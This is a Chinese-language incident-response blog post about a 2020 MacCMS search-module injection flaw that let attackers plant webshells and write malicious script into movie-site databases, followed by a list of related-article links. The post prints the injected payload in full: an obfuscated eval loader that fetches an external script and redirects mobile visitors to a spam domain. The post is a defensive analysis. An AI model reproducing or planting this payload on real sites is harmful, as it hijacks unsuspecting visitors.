2020蘋果maccms最新漏洞補丁 防止資料庫被反覆掛馬
2020年剛開始,蘋果CMS被爆出資料庫程式碼執行漏洞,大量的電影網站被掛馬,尤其電影的頁面被篡改植入了惡意程式碼,資料庫中的VOD表裡的d_name被全部修改,導致網站開啟後直接跳轉到S站或者彈窗廣告,目前該maccms漏洞受影響的蘋果系統版本是V8,V10,很多客戶網站被反覆篡改,很無奈,透過朋友介紹找到我們SINE安全尋求技術上支援,防止網站被掛馬。根據客戶的反應,伺服器採用的是linux centos系統,蘋果CMS版本是最新的V10版本,我們立即成立網站安全應急響應處理,幫助客戶解決網站被攻擊的問題。
首先很多站長以為升級了蘋果CMS官方最新的漏洞補丁就沒問題了,透過我們SINE安全技術對補丁的程式碼安全分析發現,該漏洞補丁對當前的資料庫程式碼執行漏洞是沒有任何效果的,於事無補,網站還會繼續被攻擊。
我們來看下客戶網站目前發生的掛馬問題,開啟網站首頁以及各個電影地址都會被插入掛馬程式碼,如下圖所示:
打包壓縮了一份網站原始碼,以及nginx網站日誌檔案,我們SINE安全工程師在根目錄下發現被上傳了網站webshell木馬檔案,透過網站日誌溯源追蹤我們檢視到訪問這個PHP指令碼木馬檔案的是一個韓國的IP,具體的程式碼如下圖:
程式碼做了加密處理,我們SINE安全對其解密發現該程式碼的功能可以對網站進行上傳,下載,修改程式碼,運算元據庫等功能,屬於PHP大馬的範疇,也叫webshell木馬檔案,我們又對蘋果CMS的原始碼進行了人工安全審計,發現index.php程式碼對搜尋模組上做的一些惡意程式碼過濾檢查存在漏洞,可導致攻擊者繞過安全過濾,直接將SQL插入程式碼執行到資料庫當中去。
我們對資料庫進行安全檢測發現,在VOD表的d_name被批次植入了掛馬程式碼:
<script src=
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(newPRegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('4.5(\'<61="3/2" 7="//0.b.c.d/8.0"><\\/9\'+\'a>\');',14,14,'js|type|javascript|text|document|write|script|src|20487493|scr|ipt|users|51|la'.split('|'),0,{}));var LOUMtBZeW=navigator["userAgent"]["toLowerCase"]()["match"](/(ipod|iphone|ipad|android|coolpad|mmp|smartphone|midp|wap|xoom|symbian|j2me|blackberry|wince)/i)!=null;if(LOUMtBZeW){setTimeout('window.location.href="https://m.qiche-hangjia.com:168/ua80666/"',500)}
這手法很專業,不是一般的攻擊者所為,針對手機端做了跳轉以及隱藏嵌入,讓網站運營者根本無法察覺發現,還判斷了cookies來路,達到條件才能觸發攻擊者植入的廣告程式碼。繼續安全分析與追蹤,發現了攻擊者的手法,POST提交到/index.php?m=vod-search,POST內容是加密的這裡就不方便發出了,屬於漏洞攻擊了,可能會給其他使用蘋果CMS系統的網站造成攻擊,我們SINE安全技術對POST攻擊程式碼進行了解密分析,發現確實是繞過了蘋果官方V8,V10系統的程式碼安全過濾,直接將掛馬程式碼插入到了資料庫裡了。
問題根源找到了,接下來我們對客戶的蘋果CMS漏洞進行修復,對POST提交過來的引數進行嚴格的過濾與轉義,對vod-search含有的惡意字元進行強制轉換,對惡意程式碼進行安全攔截,防止傳入到後端進行資料庫裡的程式碼執行。對網站程式碼裡存在的木馬後門進行了全面的人工審計與檢查,共計發現5個後門,其餘的在快取目錄當中,跟程式程式碼混淆在一起,也都刪除了,對網站的後臺地址進行了更改,之前後臺使用的地址被攻擊者掌握,對管理員的賬號密碼進行了加強,至此蘋果CMS網站被掛馬的問題才得以徹底解決,如果您的maccms也被一直掛馬,自己懂程式碼的話可以對POST到index.php的資料進行安全攔截與檢查,防止惡意程式碼的插入,如果不是太懂的話,建議找專業的 網站安全公司來處理解決。
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/31542418/viewspace-2671576/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- oracle資料庫高危漏洞補丁集安裝Oracle資料庫
- 如何防止網站被侵入,如何防止網站被掛馬,如何防止網站被入侵?網站
- 資料庫補丁索引資料庫索引
- 寶塔漏洞防禦 防止資料庫被刪的方案資料庫
- Oracle最新補丁包修101個漏洞(轉)Oracle
- Oracle資料庫打補丁方法Oracle資料庫
- Oracle資料庫升級與補丁Oracle資料庫
- 給Oracle資料庫打補丁(轉)Oracle資料庫
- 如何防止網站資料庫被攻擊 被篡改網站資料庫
- oracle最新補丁查詢Oracle
- Oracle資料庫PSU補丁安裝Oracle資料庫
- RAC資料庫中用opatch應用補丁資料庫
- 資料庫Patchsets 補丁號碼快速參考資料庫
- Oracle將釋出新的資料庫補丁程式Oracle資料庫
- SQL Server最新安全補丁SQLServer
- 資料庫打完11.1.0.7.12補丁後資料庫啟動失敗資料庫
- 蘋果釋出Mac OS X補丁 修復17個安全漏洞蘋果Mac
- 檢視資料庫版本與補丁的版本資訊資料庫
- Oracle 資料庫 PSU 的補丁號變化Oracle資料庫
- 檢查資料庫CPU和PSU補丁資訊資料庫
- 資料庫的升級和打補丁的研究資料庫
- 微軟游標漏洞被駭客利用 緊急系統補丁終釋出微軟
- 最新!Adobe 釋出修復Flash Player關鍵漏洞的安全補丁
- 摘:Oracle資料庫補丁分類、安裝及管理Oracle資料庫
- 蘋果CMS d_name值漏洞EXP掛馬解決辦法蘋果
- 在大補丁釋出之後,新的Java安全漏洞被發現Java
- Weblogic最新補丁在哪裡下載Web
- 舊版iOS漏洞可能已被利用?蘋果釋出iOS 12.5.4修復補丁iOS蘋果
- 資料庫補丁衝突解決方案 (文件 ID 1674432.1)資料庫
- Nvidia高危GPU漏洞;Win 10最新“996”補丁裝完藍屏;遊戲發售一週被盜版5萬次GPU996遊戲
- 世界最大漏洞資料庫釋出最新研究報告資料庫
- 資料分析統計推薦:Minitab Express 啟用最新版附補丁Express
- 谷歌披露 微軟 Jet 資料庫引擎 RCE 漏洞,尚未修補谷歌微軟資料庫
- 阿里雲Polardb國產資料庫補丁升級 實踐阿里資料庫
- oracle 資料庫版本對應的psu和補丁號碼Oracle資料庫
- Oracle 檢查當前資料庫CPU和PSU補丁資訊Oracle資料庫
- 漏洞掛馬網站趨勢分析網站
- 如何徹底擦除資料 防止資料被恢復?